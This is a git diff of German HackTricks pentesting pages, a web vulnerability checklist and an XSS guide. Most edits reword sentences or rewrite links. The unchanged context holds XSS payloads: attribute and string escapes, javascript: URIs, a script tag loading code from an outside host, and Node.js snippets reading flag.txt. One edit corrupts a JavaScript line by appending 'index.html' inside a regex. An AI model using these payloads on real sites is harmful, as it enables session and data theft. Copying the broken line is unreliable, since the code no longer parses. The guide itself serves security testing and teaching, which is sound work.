-Einige der genannten Schwachstellen erfordern spezielle Bedingungen, andere erfordern nur, dass der Inhalt reflektiert wird. Sie können einige interessante Polyglotten finden, um die Schwachstellen schnell zu testen in:
+Einige der genannten Schwachstellen erfordern spezielle Bedingungen, andere erfordern nur, dass der Inhalt reflektiert wird. Sie können einige interessante Polyglots finden, um die Schwachstellen schnell zu testen in:
 
 {{#ref}}
 ../pocs-and-polygloths-cheatsheet/
@@ -54,11 +54,11 @@ Einige der genannten Schwachstellen erfordern spezielle Bedingungen, andere erfo
 
 Wenn die Funktionalität verwendet werden kann, um eine Art von Daten im Backend zu suchen, können Sie sie möglicherweise (miss)brauchen, um beliebige Daten zu suchen.
 
-- [ ] [**File Inclusion/Path Traversal**](../file-inclusion/)
+- [ ] [**File Inclusion/Path Traversal**](../file-inclusion/index.html)
 - [ ] [**NoSQL Injection**](../nosql-injection.md)
 - [ ] [**LDAP Injection**](../ldap-injection.md)
 - [ ] [**ReDoS**](../regular-expression-denial-of-service-redos.md)
-- [ ] [**SQL Injection**](../sql-injection/)
+- [ ] [**SQL Injection**](../sql-injection/index.html)
 - [ ] [**XPATH Injection**](../xpath-injection.md)
 
 ### **Formulare, WebSockets und PostMsgs**
@@ -67,16 +67,16 @@ Wenn ein Websocket eine Nachricht sendet oder ein Formular es Benutzern ermögli
 
 - [ ] [**Cross Site Request Forgery**](../csrf-cross-site-request-forgery.md)
 - [ ] [**Cross-site WebSocket hijacking (CSWSH)**](../websocket-attacks.md)
-- [ ] [**PostMessage Vulnerabilities**](../postmessage-vulnerabilities/)
+- [ ] [**PostMessage Vulnerabilities**](../postmessage-vulnerabilities/index.html)
 
 ### **HTTP-Header**
 
 Abhängig von den HTTP-Headern, die vom Webserver bereitgestellt werden, können einige Schwachstellen vorhanden sein.
 
 - [ ] [**Clickjacking**](../clickjacking.md)
-- [ ] [**Content Security Policy bypass**](../content-security-policy-csp-bypass/)
-- [ ] [**Cookies Hacking**](../hacking-with-cookies/)
-- [ ] [**CORS - Misconfigurations & Bypass**](../cors-bypass.md)
+- [ ] [**Content Security Policy bypass**](../content-security-policy-csp-bypass/index.html)
+- [ ] [**Cookies Hacking**](../hacking-with-cookies/index.html)
+- [ ] [**CORS - Fehlkonfigurationen & Bypass**](../cors-bypass.md)
 
 ### **Umgehungen**
 
@@ -85,7 +85,7 @@ Es gibt mehrere spezifische Funktionen, bei denen einige Workarounds nützlich s
 - [ ] [**2FA/OTP Bypass**](../2fa-bypass.md)
 - [ ] [**Bypass Payment Process**](../bypass-payment-process.md)
 - [ ] [**Captcha Bypass**](../captcha-bypass.md)
-- [ ] [**Login Bypass**](../login-bypass/)
+- [ ] [**Login Bypass**](../login-bypass/index.html)
 - [ ] [**Race Condition**](../race-condition.md)
 - [ ] [**Rate Limit Bypass**](../rate-limit-bypass.md)
 - [ ] [**Reset Forgotten Password Bypass**](../reset-password.md)
@@ -96,7 +96,7 @@ Es gibt mehrere spezifische Funktionen, bei denen einige Workarounds nützlich s
 Einige Funktionen erfordern, dass **Daten in einem sehr spezifischen Format strukturiert sind** (wie ein sprachserialisiertes Objekt oder XML). Daher ist es einfacher zu erkennen, ob die Anwendung anfällig sein könnte, da sie diese Art von Daten verarbeiten muss.\
 Einige **spezifische Funktionen** können ebenfalls anfällig sein, wenn ein **spezifisches Format der Eingabe verwendet wird** (wie E-Mail-Header-Injektionen).
 
-- [ ] [**Deserialization**](../deserialization/)
+- [ ] [**Deserialization**](../deserialization/index.html)
 - [ ] [**Email Header Injection**](../email-injections.md)
 - [ ] [**JWT Vulnerabilities**](../hacking-jwt-json-web-tokens.md)
 - [ ] [**XML External Entity**](../xxe-xee-xml-external-entity.md)
@@ -107,7 +107,7 @@ Funktionen, die das Hochladen von Dateien ermöglichen, könnten anfällig für
 Funktionen, die Dateien generieren, die Benutzereingaben enthalten, könnten unerwarteten Code ausführen.\
 Benutzer, die von Benutzern hochgeladene oder automatisch generierte Dateien mit Benutzereingaben öffnen, könnten gefährdet sein.
 
-- [ ] [**File Upload**](../file-upload/)
+- [ ] [**File Upload**](../file-upload/index.html)
 - [ ] [**Formula Injection**](../formula-csv-doc-latex-ghostscript-injection.md)
 - [ ] [**PDF Injection**](../xss-cross-site-scripting/pdf-injection.md)
 - [ ] [**Server Side XSS**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
@@ -115,7 +115,7 @@ Benutzer, die von Benutzern hochgeladene oder automatisch generierte Dateien mit
 ### **Externe Identitätsverwaltung**
 
 - [ ] [**OAUTH to Account takeover**](../oauth-to-account-takeover.md)
-- [ ] [**SAML Attacks**](../saml-attacks/)
+- [ ] [**SAML Attacks**](../saml-attacks/index.html)
 
 ### **Andere hilfreiche Schwachstellen**
 
@@ -124,6 +124,6 @@ Diese Schwachstellen könnten helfen, andere Schwachstellen auszunutzen.
 - [ ] [**Domain/Subdomain takeover**](../domain-subdomain-takeover.md)
 - [ ] [**IDOR**](../idor.md)
 - [ ] [**Parameter Pollution**](../parameter-pollution.md)
-- [ ] [**Unicode Normalization vulnerability**](../unicode-injection/)
+- [ ] [**Unicode Normalization vulnerability**](../unicode-injection/index.html)
 
 {{#include ../../banners/hacktricks-training.md}}

src/pentesting-web/xss-cross-site-scripting/README.md

@@ -11,7 +11,7 @@
 2. Können Sie Ereignisse oder Attribute verwenden, die das `javascript:`-Protokoll unterstützen?
 3. Können Sie Schutzmaßnahmen umgehen?
 4. Wird der HTML-Inhalt von einer clientseitigen JS-Engine (_AngularJS_, _VueJS_, _Mavo_...) interpretiert, könnten Sie eine [**Client Side Template Injection**](../client-side-template-injection-csti.md) ausnutzen.
-5. Wenn Sie keine HTML-Tags erstellen können, die JS-Code ausführen, könnten Sie eine [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/) ausnutzen?
+5. Wenn Sie keine HTML-Tags erstellen können, die JS-Code ausführen, könnten Sie eine [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html) ausnutzen?
 2. Innerhalb eines **HTML-Tags**:
 1. Können Sie in den rohen HTML-Kontext wechseln?
 2. Können Sie neue Ereignisse/Attribute erstellen, um JS-Code auszuführen?
@@ -20,7 +20,7 @@
 3. Innerhalb **JavaScript-Code**:
 1. Können Sie das `<script>`-Tag entkommen?
 2. Können Sie den String entkommen und anderen JS-Code ausführen?
-3. Sind Ihre Eingaben in Template-Literalen \`\`?
+3. Ist Ihre Eingabe in Template-Literalen \`\`?
 4. Können Sie Schutzmaßnahmen umgehen?
 4. Javascript **Funktion**, die **ausgeführt** wird:
 1. Sie können den Namen der auszuführenden Funktion angeben. z.B.: `?callback=alert(1)`
@@ -37,17 +37,17 @@ debugging-client-side-js.md
 
 Um eine XSS erfolgreich auszunutzen, müssen Sie zuerst einen **Wert finden, der von Ihnen kontrolliert wird und im Webpage reflektiert wird**.
 
-- **Zwischendurch reflektiert**: Wenn Sie feststellen, dass der Wert eines Parameters oder sogar der Pfad in der Webseite reflektiert wird, könnten Sie eine **Reflected XSS** ausnutzen.
-- **Gespeichert und reflektiert**: Wenn Sie feststellen, dass ein von Ihnen kontrollierter Wert auf dem Server gespeichert wird und jedes Mal reflektiert wird, wenn Sie auf eine Seite zugreifen, könnten Sie eine **Stored XSS** ausnutzen.
+- **Zwischengespeichert reflektiert**: Wenn Sie feststellen, dass der Wert eines Parameters oder sogar der Pfad im Webpage reflektiert wird, könnten Sie eine **Reflected XSS** ausnutzen.
+- **Gespeichert und reflektiert**: Wenn Sie feststellen, dass ein von Ihnen kontrollierter Wert auf dem Server gespeichert ist und jedes Mal reflektiert wird, wenn Sie auf eine Seite zugreifen, könnten Sie eine **Stored XSS** ausnutzen.
 - **Über JS zugegriffen**: Wenn Sie feststellen, dass ein von Ihnen kontrollierter Wert über JS zugegriffen wird, könnten Sie eine **DOM XSS** ausnutzen.
 
 ## Kontexte
 
-Wenn Sie versuchen, eine XSS auszunutzen, müssen Sie zuerst wissen, **wo Ihre Eingabe reflektiert wird**. Je nach Kontext können Sie auf unterschiedliche Weise beliebigen JS-Code ausführen.
+Wenn Sie versuchen, eine XSS auszunutzen, müssen Sie zuerst wissen, **wo Ihre Eingabe reflektiert wird**. Je nach Kontext können Sie auf verschiedene Weise beliebigen JS-Code ausführen.
 
 ### Rohes HTML
 
-Wenn Ihre Eingabe im **rohen HTML** der Seite reflektiert wird, müssen Sie einige **HTML-Tags** ausnutzen, um JS-Code auszuführen: `<img , <iframe , <svg , <script` ... dies sind nur einige der vielen möglichen HTML-Tags, die Sie verwenden könnten.\
+Wenn Ihre Eingabe im **rohen HTML**-Seite **reflektiert wird**, müssen Sie einige **HTML-Tags** ausnutzen, um JS-Code auszuführen: `<img , <iframe , <svg , <script` ... dies sind nur einige der vielen möglichen HTML-Tags, die Sie verwenden könnten.\
 Denken Sie auch an [Client Side Template Injection](../client-side-template-injection-csti.md).
 
 ### Innerhalb von HTML-Tag-Attributen
@@ -56,7 +56,7 @@ Wenn Ihre Eingabe im Wert des Attributs eines Tags reflektiert wird, könnten Si
 
 1. Von **dem Attribut und dem Tag zu entkommen** (dann sind Sie im rohen HTML) und ein neues HTML-Tag zu erstellen, um es auszunutzen: `"><img [...]`
 2. Wenn Sie **vom Attribut, aber nicht vom Tag entkommen können** (`>` ist kodiert oder gelöscht), könnten Sie je nach Tag **ein Ereignis erstellen**, das JS-Code ausführt: `" autofocus onfocus=alert(1) x="`
-3. Wenn Sie **nicht vom Attribut entkommen können** (`"` wird kodiert oder gelöscht), dann können Sie je nach **welchem Attribut** Ihr Wert reflektiert wird **ob Sie den gesamten Wert oder nur einen Teil kontrollieren**, es ausnutzen. Zum **Beispiel**, wenn Sie ein Ereignis wie `onclick=` kontrollieren, können Sie es so einstellen, dass es beliebigen Code ausführt, wenn es angeklickt wird. Ein weiteres interessantes **Beispiel** ist das Attribut `href`, wo Sie das `javascript:`-Protokoll verwenden können, um beliebigen Code auszuführen: **`href="javascript:alert(1)"`**
+3. Wenn Sie **nicht vom Attribut entkommen können** (`"` wird kodiert oder gelöscht), dann können Sie je nach **welchem Attribut** Ihr Wert reflektiert wird, **ob Sie den gesamten Wert oder nur einen Teil kontrollieren**, es ausnutzen. Zum **Beispiel**, wenn Sie ein Ereignis wie `onclick=` kontrollieren, können Sie es dazu bringen, beliebigen Code auszuführen, wenn es angeklickt wird. Ein weiteres interessantes **Beispiel** ist das Attribut `href`, wo Sie das `javascript:`-Protokoll verwenden können, um beliebigen Code auszuführen: **`href="javascript:alert(1)"`**
 4. Wenn Ihre Eingabe in "**nicht ausnutzbaren Tags**" reflektiert wird, könnten Sie versuchen, den **`accesskey`**-Trick zu verwenden, um die Schwachstelle auszunutzen (Sie benötigen eine Art von Social Engineering, um dies auszunutzen): **`" accesskey="x" onclick="alert(1)" x="`**
 
 Seltsames Beispiel von Angular, das XSS ausführt, wenn Sie einen Klassennamen kontrollieren:
@@ -70,11 +70,11 @@ Seltsames Beispiel von Angular, das XSS ausführt, wenn Sie einen Klassennamen k
 In diesem Fall wird Ihre Eingabe zwischen **`<script> [...] </script>`**-Tags einer HTML-Seite, in einer `.js`-Datei oder innerhalb eines Attributs mit dem **`javascript:`**-Protokoll reflektiert:
 
 - Wenn sie zwischen **`<script> [...] </script>`**-Tags reflektiert wird, können Sie versuchen, `</script>` einzufügen und aus diesem Kontext zu entkommen, selbst wenn Ihre Eingabe in irgendeiner Art von Anführungszeichen steht. Dies funktioniert, weil der **Browser zuerst die HTML-Tags** parst und dann den Inhalt, daher wird er nicht bemerken, dass Ihr injiziertes `</script>`-Tag im HTML-Code enthalten ist.
-- Wenn sie **innerhalb eines JS-Strings** reflektiert wird und der letzte Trick nicht funktioniert, müssen Sie den String **verlassen**, Ihren Code **ausführen** und den JS-Code **rekonstruieren** (wenn ein Fehler auftritt, wird er nicht ausgeführt):
+- Wenn es **innerhalb eines JS-Strings** reflektiert wird und der letzte Trick nicht funktioniert, müssen Sie den String **verlassen**, Ihren Code **ausführen** und den JS-Code **rekonstruieren** (wenn ein Fehler auftritt, wird er nicht ausgeführt):
 - `'-alert(1)-'`
 - `';-alert(1)//`
 - `\';alert(1)//`
-- Wenn sie innerhalb von Template-Literalen reflektiert wird, können Sie **JS-Ausdrücke einbetten** mit der `${ ... }`-Syntax: `` var greetings = `Hello, ${alert(1)}` ``
+- Wenn es innerhalb von Template-Literalen reflektiert wird, können Sie **JS-Ausdrücke einbetten** mit der `${ ... }`-Syntax: `` var greetings = `Hello, ${alert(1)}` ``
 - **Unicode-Encoding** funktioniert, um **gültigen JavaScript-Code** zu schreiben:
 ```javascript
 alert(1)
@@ -124,7 +124,7 @@ some-same-origin-method-execution.md
 
 ### DOM
 
-Es gibt **JS-Code**, der **unsicher** einige **vom Angreifer kontrollierte Daten** wie `location.href` verwendet. Ein Angreifer könnte dies ausnutzen, um beliebigen JS-Code auszuführen.
+Es gibt **JS-Code**, der **unsicher** einige **von einem Angreifer kontrollierte Daten** wie `location.href` verwendet. Ein Angreifer könnte dies ausnutzen, um beliebigen JS-Code auszuführen.
 
 {{#ref}}
 dom-xss.md
@@ -149,7 +149,7 @@ server-side-xss-dynamic-pdf.md
 
 ## In rohem HTML injizieren
 
-Wenn Ihre Eingabe **innerhalb der HTML-Seite** widergespiegelt wird oder Sie HTML-Code in diesem Kontext entkommen und injizieren können, ist das **erste**, was Sie tun müssen, zu überprüfen, ob Sie `<` ausnutzen können, um neue Tags zu erstellen: Versuchen Sie einfach, dieses **Zeichen** widerzuspiegeln und zu überprüfen, ob es **HTML-codiert** oder **gelöscht** wird oder ob es **unverändert widergespiegelt** wird. **Nur im letzten Fall können Sie diesen Fall ausnutzen**.\
+Wenn Ihre Eingabe **innerhalb der HTML-Seite** widergespiegelt wird oder Sie HTML-Code in diesem Kontext entkommen und injizieren können, ist das **erste**, was Sie tun müssen, zu überprüfen, ob Sie `<` ausnutzen können, um neue Tags zu erstellen: Versuchen Sie einfach, dieses **Zeichen** zu **reflektieren** und zu überprüfen, ob es **HTML-codiert** oder **gelöscht** wird oder ob es **unverändert widergespiegelt** wird. **Nur im letzten Fall werden Sie in der Lage sein, diesen Fall auszunutzen**.\
 Für diese Fälle sollten Sie auch **an** [**Client Side Template Injection**](../client-side-template-injection-csti.md)** denken.**\
 &#xNAN;_**Hinweis: Ein HTML-Kommentar kann mit\*\*\*\*\*\***&#x20;\***\*`-->`\*\***&#x20;\***\*oder \*\*\*\*\*\***`--!>`\*\**_geschlossen werden.
 
@@ -234,7 +234,7 @@ onerror=alert`1`
 <svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
 ```
 Die letzte verwendet 2 Unicode-Zeichen, die sich auf 5 erweitern: telsr\
-Weitere dieser Zeichen finden Sie [hier](https://www.unicode.org/charts/normalization/).\
+Mehr dieser Zeichen finden Sie [hier](https://www.unicode.org/charts/normalization/).\
 Um zu überprüfen, in welche Zeichen zerlegt werden, überprüfen Sie [hier](https://www.compart.com/en/unicode/U+2121).
 
 ### Click XSS - Clickjacking
@@ -243,14 +243,14 @@ Wenn Sie zur Ausnutzung der Schwachstelle den **Benutzer dazu bringen müssen, a
 
 ### Unmöglich - Dangling Markup
 
-Wenn Sie nur denken, dass **es unmöglich ist, ein HTML-Tag mit einem Attribut zu erstellen, um JS-Code auszuführen**, sollten Sie [**Dangling Markup**](../dangling-markup-html-scriptless-injection/) überprüfen, da Sie die Schwachstelle **ausnutzen** könnten, **ohne** **JS**-Code auszuführen.
+Wenn Sie nur denken, dass **es unmöglich ist, ein HTML-Tag mit einem Attribut zu erstellen, um JS-Code auszuführen**, sollten Sie [**Dangling Markup**](../dangling-markup-html-scriptless-injection/index.html) überprüfen, da Sie die Schwachstelle **ausnutzen** könnten, **ohne** **JS**-Code auszuführen.
 
 ## Injizieren innerhalb eines HTML-Tags
 
 ### Innerhalb des Tags/Entkommen aus dem Attributwert
 
 Wenn Sie **innerhalb eines HTML-Tags** sind, ist das Erste, was Sie versuchen könnten, **aus dem Tag zu entkommen** und einige der in der [vorherigen Sektion](#injecting-inside-raw-html) erwähnten Techniken zu verwenden, um JS-Code auszuführen.\
-Wenn Sie **nicht aus dem Tag entkommen können**, könnten Sie neue Attribute innerhalb des Tags erstellen, um zu versuchen, JS-Code auszuführen, zum Beispiel mit einer Payload wie (_beachten Sie, dass in diesem Beispiel doppelte Anführungszeichen verwendet werden, um aus dem Attribut zu entkommen, Sie benötigen sie nicht, wenn Ihre Eingabe direkt im Tag reflektiert wird_):
+Wenn Sie **nicht aus dem Tag entkommen können**, könnten Sie neue Attribute innerhalb des Tags erstellen, um zu versuchen, JS-Code auszuführen, zum Beispiel mit einer Payload wie (_beachten Sie, dass in diesem Beispiel doppelte Anführungszeichen verwendet werden, um aus dem Attribut zu entkommen, Sie benötigen sie nicht, wenn Ihre Eingabe direkt im Tag widergespiegelt wird_):
 ```bash
 " autofocus onfocus=alert(document.domain) x="
 " onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
@@ -325,7 +325,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
 ```
 **Orte, an denen Sie diese Protokolle injizieren können**
 
-**Im Allgemeinen** kann das `javascript:`-Protokoll **in jedem Tag verwendet werden, der das Attribut `href` akzeptiert** und in **den meisten** der Tags, die das **Attribut `src`** akzeptieren (aber nicht `<img>`)
+**Im Allgemeinen** kann das `javascript:`-Protokoll **in jedem Tag verwendet werden, der das Attribut `href` akzeptiert** und in **den meisten** der Tags, die das **Attribut `src`** akzeptieren (aber nicht `<img`)
 ```markup
 <a href="javascript:alert(1)">
 <a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
@@ -422,7 +422,7 @@ onbeforetoggle="alert(2)" />
 <button popovertarget="newsletter">Subscribe to newsletter</button>
 <div popover id="newsletter">Newsletter popup</div>
 ```
-Von [**hier**](https://portswigger.net/research/xss-in-hidden-input-fields): Sie können eine **XSS-Nutzlast in einem versteckten Attribut ausführen**, vorausgesetzt, Sie können das **Opfer** dazu **überreden**, die **Tastenkombination** zu drücken. Unter Firefox Windows/Linux ist die Tastenkombination **ALT+SHIFT+X** und unter OS X ist es **CTRL+ALT+X**. Sie können eine andere Tastenkombination angeben, indem Sie eine andere Taste im Attribut für den Zugriffsschlüssel verwenden. Hier ist der Vektor:
+Von [**hier**](https://portswigger.net/research/xss-in-hidden-input-fields): Sie können eine **XSS-Nutzlast in einem versteckten Attribut ausführen**, vorausgesetzt, Sie können das **Opfer** dazu **überreden**, die **Tastenkombination** zu drücken. Unter Firefox Windows/Linux ist die Tastenkombination **ALT+SHIFT+X** und unter OS X ist es **CTRL+ALT+X**. Sie können eine andere Tastenkombination angeben, indem Sie eine andere Taste im Attribut für den Zugriffskey verwenden. Hier ist der Vektor:
 ```markup
 <input type="hidden" accesskey="X" onclick="alert(1)">
 ```
@@ -450,9 +450,9 @@ Lies die [JavaScript-Umgehungs-Blacklist des folgenden Abschnitts](#javascript-b
 
 Wenn du ein **XSS in einem sehr kleinen Teil** des Webs gefunden hast, das eine Art Interaktion erfordert (vielleicht ein kleiner Link im Footer mit einem onmouseover-Element), kannst du versuchen, **den Raum, den dieses Element einnimmt, zu modifizieren**, um die Wahrscheinlichkeit zu maximieren, dass der Link ausgelöst wird.
 
-Zum Beispiel könntest du dem Element einige Stile hinzufügen wie: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
+Zum Beispiel könntest du dem Element ein Styling hinzufügen wie: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
 
-Aber, wenn das WAF das style-Attribut filtert, kannst du CSS-Styling-Gadgets verwenden. Wenn du zum Beispiel findest
+Aber, wenn das WAF das style-Attribut filtert, kannst du CSS Styling Gadgets verwenden. Wenn du zum Beispiel findest
 
 > .test {display:block; color: blue; width: 100%\}
 
@@ -480,7 +480,7 @@ Beachten Sie, dass wir in diesem Beispiel **das einfache Anführungszeichen nich
 
 ### Innerhalb des JS-Codes
 
-Wenn `<>` sanitisiert werden, können Sie dennoch **den String escapen**, wo Ihre Eingabe **lokalisiert** ist und **willkürliches JS ausführen**. Es ist wichtig, die **JS-Syntax zu korrigieren**, denn wenn es Fehler gibt, wird der JS-Code nicht ausgeführt:
+Wenn `<>` bereinigt werden, können Sie dennoch **den String escapen**, wo Ihre Eingabe **lokalisiert** ist und **willkürliches JS ausführen**. Es ist wichtig, die **JS-Syntax zu korrigieren**, da der JS-Code bei Fehlern nicht ausgeführt wird:
 ```
 '-alert(document.domain)-'
 ';alert(document.domain)//
@@ -516,7 +516,7 @@ alert(1)
 alert(1)
 alert(1)
 ```
-### JavaScript Bypass-Blacklist-Techniken
+### JavaScript Bypass-Blacklists-Techniken
 
 **Strings**
 ```javascript
@@ -766,7 +766,7 @@ Vielleicht kann ein Benutzer sein Profil mit dem Administrator teilen, und wenn
 
 ### Sitzungs-Spiegelung
 
-Wenn Sie ein Selbst-XSS finden und die Webseite eine **Sitzungs-Spiegelung für Administratoren** hat, zum Beispiel, wenn Kunden um Hilfe bitten und der Administrator Ihnen helfen möchte, sieht er, was Sie in Ihrer Sitzung sehen, aber aus seiner Sitzung.
+Wenn Sie ein Selbst-XSS finden und die Webseite eine **Sitzungs-Spiegelung für Administratoren** hat, die es beispielsweise den Kunden ermöglicht, um Hilfe zu bitten, wird der Administrator sehen, was Sie in Ihrer Sitzung sehen, aber von seiner Sitzung aus.
 
 Sie könnten den **Administrator dazu bringen, Ihr Selbst-XSS auszulösen** und seine Cookies/Sitzung stehlen.
 
@@ -782,7 +782,7 @@ Sie könnten überprüfen, ob die **reflektierten Werte** auf dem Server (oder a
 ```
 ### Ruby-On-Rails bypass
 
-Aufgrund von **RoR mass assignment** werden Anführungszeichen in das HTML eingefügt und dann wird die Anführungszeichenbeschränkung umgangen, sodass zusätzliche Felder (onfocus) innerhalb des Tags hinzugefügt werden können.\
+Aufgrund der **RoR-Massenzuweisung** werden Anführungszeichen in das HTML eingefügt und dann wird die Anführungszeichenbeschränkung umgangen, sodass zusätzliche Felder (onfocus) innerhalb des Tags hinzugefügt werden können.\
 Formbeispiel ([aus diesem Bericht](https://hackerone.com/reports/709336)), wenn Sie die Payload senden:
 ```
 contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
@@ -834,13 +834,13 @@ Frühere bekannte Protokolle: `mailto://`, `//x:1/`, `ws://`, `wss://`, _leerer
 
 Wenn Sie in der Lage sind, den **Callback** anzugeben, den JavaScript ausführen wird, beschränkt auf diese Zeichen. [**Lesen Sie diesen Abschnitt dieses Beitrags**](#javascript-function), um herauszufinden, wie Sie dieses Verhalten ausnutzen können.
 
-### Gültige `<script>` Content-Types für XSS
+### Gültige `<script>`-Inhaltstypen für XSS
 
 (Von [**hier**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Wenn Sie versuchen, ein Skript mit einem **Content-Type** wie `application/octet-stream` zu laden, wird Chrome den folgenden Fehler ausgeben:
 
 > Weigerte sich, das Skript von ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') auszuführen, da sein MIME-Typ (‘application/octet-stream’) nicht ausführbar ist und die strenge MIME-Typ-Prüfung aktiviert ist.
 
-Die einzigen **Content-Types**, die Chrome unterstützen, um ein **geladenes Skript** auszuführen, sind die im const **`kSupportedJavascriptTypes`** von [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)
+Die einzigen **Content-Types**, die Chrome unterstützen, um ein **geladenes Skript** auszuführen, sind die, die in der Konstante **`kSupportedJavascriptTypes`** von [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc) enthalten sind.
 ```c
 const char* const kSupportedJavascriptTypes[] = {
 "application/ecmascript",
@@ -870,8 +870,8 @@ const char* const kSupportedJavascriptTypes[] = {
 ```
 Die Antwort ist:
 
-- **Modul** (Standard, nichts zu erklären)
-- [**Webbundle**](https://web.dev/web-bundles/): Web Bundles ist eine Funktion, mit der Sie eine Menge Daten (HTML, CSS, JS…) in eine **`.wbn`**-Datei verpacken können.
+- **module** (Standard, nichts zu erklären)
+- [**webbundle**](https://web.dev/web-bundles/): Web Bundles ist eine Funktion, mit der Sie eine Menge Daten (HTML, CSS, JS…) in eine **`.wbn`**-Datei bündeln können.
 ```html
 <script type="webbundle">
 {
@@ -898,7 +898,7 @@ import moment from "moment"
 import { partition } from "lodash"
 </script>
 ```
-Dieses Verhalten wurde in [**diesem Bericht**](https://github.com/zwade/yaca/tree/master/solution) verwendet, um eine Bibliothek neu zuzuordnen, um eval zu missbrauchen, da es XSS auslösen kann.
+Dieses Verhalten wurde in [**diesem Bericht**](https://github.com/zwade/yaca/tree/master/solution) verwendet, um eine Bibliothek auf eval umzuleiten, um auszunutzen, dass es XSS auslösen kann.
 
 - [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Diese Funktion dient hauptsächlich dazu, einige Probleme zu lösen, die durch das Vorab-Rendering verursacht werden. Es funktioniert so:
 ```html
@@ -945,7 +945,7 @@ Wenn die Seite einen text/xml Inhaltstyp zurückgibt, ist es möglich, einen Nam
 
 Wenn etwas wie **`"some {{template}} data".replace("{{template}}", <user_input>)`** verwendet wird. Der Angreifer könnte [**besondere Zeichenersetzungen**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) verwenden, um einige Schutzmaßnahmen zu umgehen: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
 
-Zum Beispiel wurde in [**diesem Bericht**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA) dies verwendet, um **einen JSON-String** innerhalb eines Skripts zu escapen und beliebigen Code auszuführen.
+Zum Beispiel in [**diesem Bericht**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), wurde dies verwendet, um **einen JSON-String** innerhalb eines Skripts zu escapen und beliebigen Code auszuführen.
 
 ### Chrome-Cache zu XSS
 
@@ -963,7 +963,7 @@ eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequir
 
 // use of with
 with(console)log(123)
-with(/console.log(1)/)with(this)with(constructor)constructor(source)()
+with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)()
 // Just replace console.log(1) to the real code, the code we want to run is:
 //return String(process.mainModule.require('fs').readFileSync('flag.txt'))
 
@@ -1001,7 +1001,7 @@ import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
 // our actual module code
 })
 ```
-Daher, wenn wir aus diesem Modul **eine andere Funktion aufrufen** können, ist es möglich, `arguments.callee.caller.arguments[1]` aus dieser Funktion zu verwenden, um auf **`require`** zuzugreifen:
+Daher ist es, wenn wir aus diesem Modul **eine andere Funktion aufrufen** können, möglich, `arguments.callee.caller.arguments[1]` aus dieser Funktion zu verwenden, um auf **`require`** zuzugreifen:
 ```javascript
 ;(function () {
 return arguments.callee.caller.arguments[1]("fs").readFileSync(
@@ -1056,7 +1056,7 @@ trigger()
 - [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
 - [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/)
 - [http://www.jsfuck.com/](http://www.jsfuck.com)
-- Mehr ausgeklügeltes JSFuck: [https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce)
+- Mehr sofistizierte JSFuck: [https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce)
 - [http://utf-8.jp/public/jjencode.html](http://utf-8.jp/public/jjencode.html)
 - [https://utf-8.jp/public/aaencode.html](https://utf-8.jp/public/aaencode.html)
 - [https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses](https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses)
@@ -1519,7 +1519,7 @@ Weitere Informationen zu dieser Technik finden Sie hier: [**XSLT**](../xslt-serv
 
 ### XSS in dynamisch erstellten PDFs
 
-Wenn eine Webseite ein PDF mit benutzergesteuerten Eingaben erstellt, können Sie versuchen, den **Bot**, der das PDF erstellt, dazu zu **bringen, beliebigen JS-Code auszuführen**.\
+Wenn eine Webseite ein PDF mit benutzergesteuerten Eingaben erstellt, können Sie versuchen, den **Bot zu täuschen**, der das PDF erstellt, um **willkürlichen JS-Code auszuführen**.\
 Wenn der **PDF-Erstellungs-Bot** eine Art von **HTML** **Tags** findet, wird er diese **interpretieren**, und Sie können dieses Verhalten **ausnutzen**, um ein **Server-XSS** zu verursachen.
 
 {{#ref}}

src/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md

@@ -4,23 +4,23 @@
 
 ## Server Side XSS (Dynamisches PDF)
 
-Wenn eine Webseite ein PDF mit benutzergesteuerten Eingaben erstellt, können Sie versuchen, den **Bot zu täuschen**, der das PDF erstellt, um **willkürlichen JS-Code auszuführen**.\
